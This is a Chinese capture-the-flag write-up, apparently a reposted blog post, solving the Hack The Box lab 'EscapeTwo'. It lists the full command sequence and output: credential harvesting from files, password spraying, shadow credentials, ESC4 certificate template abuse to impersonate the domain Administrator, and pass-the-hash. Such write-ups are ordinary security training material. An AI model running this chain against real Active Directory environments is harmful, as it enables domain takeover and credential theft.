EscapeTwo

news/2025/3/4 8:02:44/文章来源:https://www.cnblogs.com/meraklbz/p/18746901

题目中给出了一组账号和密码:

As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su

nmap扫一下:

root@lbz-lenovo:/mnt/c/Users/86138# nmap -sC -sV -T4 10.129.221.182
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-02 13:48 CST
Nmap scan report for 10.129.221.182
Host is up (0.92s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE    VERSION
53/tcp   open  tcpwrapped
88/tcp   open  tcpwrapped
135/tcp  open  tcpwrapped
139/tcp  open  tcpwrapped
389/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-03-02T05:50:16+00:00; -1s from scanner time.
445/tcp  open  tcpwrapped
464/tcp  open  tcpwrapped
593/tcp  open  tcpwrapped
636/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-03-02T05:50:10+00:00; -3s from scanner time.
1433/tcp open  ms-sql-s   Microsoft SQL Server  15.00.2000.00
| ms-sql-ntlm-info:
|   Target_Name: SEQUEL
|   NetBIOS_Domain_Name: SEQUEL
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: sequel.htb
|   DNS_Computer_Name: DC01.sequel.htb
|   DNS_Tree_Name: sequel.htb
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-03-02T05:45:48
|_Not valid after:  2055-03-02T05:45:48
|_ssl-date: 2025-03-02T05:50:12+00:00; -4s from scanner time.
3268/tcp open  tcpwrapped
3269/tcp open  tcpwrapped
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-03-02T05:50:10+00:00; -3s from scanner time.Host script results:
|_clock-skew: mean: -2s, deviation: 1s, median: -3s
| ms-sql-info:
|   10.129.221.182:1433:
|     Version:
|       name: Microsoft SQL Server
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server
|_    TCP port: 1433
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-03-02T05:49:33
|_  start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.53 seconds

发现开启了smb服务,然而无法横向拿shell,尝试查看smb开启的共享服务.

crackmapexec smb 10.129.221.182 -u rose -p KxEPkKe6R8su --shares

image

查看一下Accounting Department READ中有什么:

smbclient -U rose%KxEPkKe6R8su '//10.129.221.182/Accounting Department'

image

然而这两个xlsx文件直接打开会报错.将其以压缩包形式解压,在accounts.xlsx中发现一个sharedStrings.xml,其中包含几个用户名和密码.

angela : 0fwz7Q4mSpurIt99
oscar  : 86LxLBMgEWaKUnBG
kevin  : Md9Wlq1E5bZnVDVo
sa     : MSSQLP@ssw0rd!

显然最后一个可以用来mssql登录,通过mdut进行登录.发现Users中包含文件列表如下:
image

sql_svc中啥也没有,估计得想办法知道ryan的用户名和密码.
在SQL2019中存在文件sql-Configuration.INI,是mssql的配置文件,下下来看看.

[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

发现存在sql_svc,其密码为WqSZAF6CysDQbGb3.使用这些密码去喷洒ryan,结果如下:

LDAP        10.129.221.182  389    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3

最开始smb喷洒的,啥也没喷出来.换ldap爆出来这么一个用法.使用impacket包中的exec试了一遍,都连不上.

atexec.py
dcomexec.py
psexec.py
smbexec.py
wmiexec.py

最后用nxc中的winrmexec.py连上了.然而似乎只能回显单行命令.发现有evil-winrm这个工具.

evil-winrm -i 10.129.221.182 -u ryan -p WqSZAF6CysDQbGb3

直接给了个交互的shell,非常爽.这个shell是基于powershell的而不是dos的,查找第一个flag.
image

使用bloodhound-python进行信息搜集:

python3 bloodhound.py -u ryan -p WqSZAF6CysDQbGb3 -d sequel.htb -dc DC01.sequel.htb -ns 10.129.221.182 -c All --zip

image

发现这个ryan对ca_svc有写的权限,通过修改dacl来获得ca_csv的完全控制权.
如果我们有ca_csv的凭据的话这个时候可以直接给ca_csv改一个dcsync去抓哈希了,然而没有.
注意这里要先修改一下时区,不然会出现各种奇怪的问题(猜测和证书时效有关)

sudo ntpdate escapetwo.htb

首先给ryan一个ca_svc的所有权:

impacket-owneredit -action write -new-owner ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3

然后改ca_csv的dacl,使ryan完全控制ca_svc.

impacket-dacledit -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3

接下来去打一手通过影子凭证获得ca_csv的NTLM.这个攻击应该是拥有ca_csv全部权限就可以打的

certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.129.219.167
Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'b52c0cf5-dbad-ff9a-71a5-111e7fbe3a7c'
[*] Adding Key Credential with device ID 'b52c0cf5-dbad-ff9a-71a5-111e7fbe3a7c' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'b52c0cf5-dbad-ff9a-71a5-111e7fbe3a7c' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce

通过得到的哈希去进行枚举:

certipy-ad find -u 'ca_svc@sequel.htb' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.219.167 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Enumeration output:
Certificate Authorities0CA Name                             : sequel-DC01-CADNS Name                            : DC01.sequel.htbCertificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htbCertificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3Certificate Validity Start          : 2024-06-08 16:50:40+00:00Certificate Validity End            : 2124-06-08 17:00:40+00:00Web Enrollment                      : DisabledUser Specified SAN                  : DisabledRequest Disposition                 : IssueEnforce Encryption for Requests     : EnabledPermissionsOwner                             : SEQUEL.HTB\AdministratorsAccess RightsManageCertificates              : SEQUEL.HTB\AdministratorsSEQUEL.HTB\Domain AdminsSEQUEL.HTB\Enterprise AdminsManageCa                        : SEQUEL.HTB\AdministratorsSEQUEL.HTB\Domain AdminsSEQUEL.HTB\Enterprise AdminsEnroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates0Template Name                       : DunderMifflinAuthenticationDisplay Name                        : Dunder Mifflin AuthenticationCertificate Authorities             : sequel-DC01-CAEnabled                             : TrueClient Authentication               : TrueEnrollment Agent                    : FalseAny Purpose                         : FalseEnrollee Supplies Subject           : FalseCertificate Name Flag               : SubjectRequireCommonNameSubjectAltRequireDnsEnrollment Flag                     : AutoEnrollmentPublishToDsPrivate Key Flag                    : 16842752Extended Key Usage                  : Client AuthenticationServer AuthenticationRequires Manager Approval           : FalseRequires Key Archival               : FalseAuthorized Signatures Required      : 0Validity Period                     : 1000 yearsRenewal Period                      : 6 weeksMinimum RSA Key Length              : 2048PermissionsEnrollment PermissionsEnrollment Rights               : SEQUEL.HTB\Domain AdminsSEQUEL.HTB\Enterprise AdminsObject Control PermissionsOwner                           : SEQUEL.HTB\Enterprise AdminsFull Control Principals         : SEQUEL.HTB\Cert PublishersWrite Owner Principals          : SEQUEL.HTB\Domain AdminsSEQUEL.HTB\Enterprise AdminsSEQUEL.HTB\AdministratorSEQUEL.HTB\Cert PublishersWrite Dacl Principals           : SEQUEL.HTB\Domain AdminsSEQUEL.HTB\Enterprise AdminsSEQUEL.HTB\AdministratorSEQUEL.HTB\Cert PublishersWrite Property Principals       : SEQUEL.HTB\Domain AdminsSEQUEL.HTB\Enterprise AdminsSEQUEL.HTB\AdministratorSEQUEL.HTB\Cert Publishers[!] VulnerabilitiesESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions                                                        

发现了模板的ESC4漏洞.其ca为sequel-DC01-CA,Template Name为DunderMifflinAuthentication.
用ca_scv的哈希去重写模板,使其符合攻击要求:

certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.129.89.45

接下来去申请一份证书:

certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.129.89.45 -dns 10.129.89.45 -dc-ip 10.129.89.45

这里需要注意一个问题,就是在证书枚举的时候出现了这样的字段

Certificate Name Flag: SubjectRequireCommonName,SubjectAltRequireDns

所以必须要在命令中添加-ns-dns参数.-target不知道,但最好也加上.这里卡了好久好久(:
导入得到的证书,拿到了域管理员的NTLM:

certipy-ad auth -pfx administrator_10.pfx -dc-ip 10.129.249.162

PTH登录.

impacket-psexec -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff Administrator@sequel.htb -codec gbk

在administrator的桌面找到flag.

总结:我是渗透飞舞,一个靶场打了一整天.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/892396.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零开始的web前端学习-css

CSS 称为层叠样式表,是一种样式表语言,用来描述 HTML 文档的呈现,是对 HTML 的美化 选择器 {属性: 属性值; }目录1CSS引入方式2选择器3区域填充4文字控制属性5复合选择器6伪类选择器(一般用于超链接)7CSS特性8背景属性9显示模式10结构伪类选择器11伪元素选择器12盒子模型-…

关于启用CDN加速域名

在微信小程序连接cos云对象存储时候,需要通过CDN加速域名,需要自己租赁域名 关于启用CDN域名加速的好处: 1. 加速内容分发 (1)全球加速CDN(内容分发网络)通过将内容缓存到全球多个节点,使用户可以从离他们最近的节点获取资源。无论用户位于何处,都能享受快速的访问速度…

redis面试知识

redis是什么介绍 redis是储存在内存中,读写很快,是基于c语言编写的,是原子性的,常用于缓存。redis可以将数据储存到磁盘中实现持久化。 redis的优点 1.基于内存,访问速度很快。 2.支持多种数据类型,如hash,String,map等 3.支持持久化 4.redis的操作是单线程的,安全 5.r…

五星红旗python代码

import turtle def draw_star(size, angle):turtle.begin_fill()for _ in range(5):turtle.forward(size)turtle.right(angle)turtle.end_fill() 初始化画布 turtle.setup(900, 600) turtle.bgcolor("red") 绘制大星 turtle.penup() turtle.goto(-400, 200) turtle.c…

蜀道山2024复现笔记

蜀道山2024复现笔记蜀道山2024复现笔记Map_maze PE32文件,ida分析,由题名可知是一道迷宫题initial函数是地图的初始化,sub_101C40是验证函数 先看验证部分 char __cdecl sub_101C40(_DWORD *a1, _DWORD *a2, int a3) {char result; // alint i; // [esp+0h] [ebp-8h]for ( i…

白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了

大家好!今天给大家带来一个好消息,Dapr(Distributed Application Runtime)1.15版本正式发布啦!对于不熟悉Dapr的朋友来说,Dapr是一个开源的、跨平台的运行时,它简化了微服务架构中的许多复杂问题,比如服务发现、配置管理、状态管理等。那么,Dapr 1.15版本都带来了哪些…

关闭自检硬盘

关闭自检硬盘 来源 https://zhuanlan.zhihu.com/p/491844439 第一个办法: 1.新建TXT文档 2.复制以下代码 @echo off chkntfs /x C: chkntfs /x D: chkntfs /x E: chkntfs /x F: chkntfs /x G: chkntfs /x H: chkntfs /x I: chkntfs /x J: pause 3.保存文档并更改后缀为.bat 4…

解析若依框架的logback.xml文件

1.确定输出方式,输出到控制台还是文件2.用于限制某一 appender 接收哪些日志级别的日志3.不同包确定不同的消息级别4.为所有未单独配置的日志记录器提供默认的日志级别和输出设置(不同的appender),5.配置logger通过这个方法,给sys-user Logger logger = LoggerFactory.get…

程序员日志管理的两种方式

1.linux命令来查看日志信息 若依框架日志文件目前有三类文件,分别是sys-error.log、sys-info.log、sys-user.log文件 文件中不带日期记录的当天的日志 sys-info.log记录的是系统日志,包含了运行日志和错误日志(较全) sys-error.log记录的是错误日志,排查错误一般看这个文件…

GormTabsBar 待完成

前言 RAD Studio Athens 12.0 添加了一个新的 FormTabsBar 控件,作为通用且即用型的解决方案,用于在现代选项卡状用户界面中托管多个子表单,是在 VCL 中创建全新应用程序的一种方式。 这句话是官方的介绍,您应该知道,随着程序的功能日渐增多,传统的界面无论怎么设计都已经…

.Net 异步与同步

namespace demoSp;class Program {static void Main(string[] args){threadpl();}public static void threadpl(){Console.WriteLine("Async Test job:");Console.WriteLine("main start..");AsyncMethod(); Console.WriteLine("MyMethod()异步方法同…

Hackthebox Season 赛季靶场TitanicWP随笔

一个比较简单的赛季靶场,就是服务器十分不稳定,打起来经常抽风,curl和ping都不通,有点磨人心态 一、信息收集 先nmap扫描一下ip吧,输入nmap -sV -sC 10.10.11.55 -Pn 可以看到需要自行前往hosts中添加10.10.11.55 titanic.htb后才能访问网页,添加后使用whatweb跑一下,看看…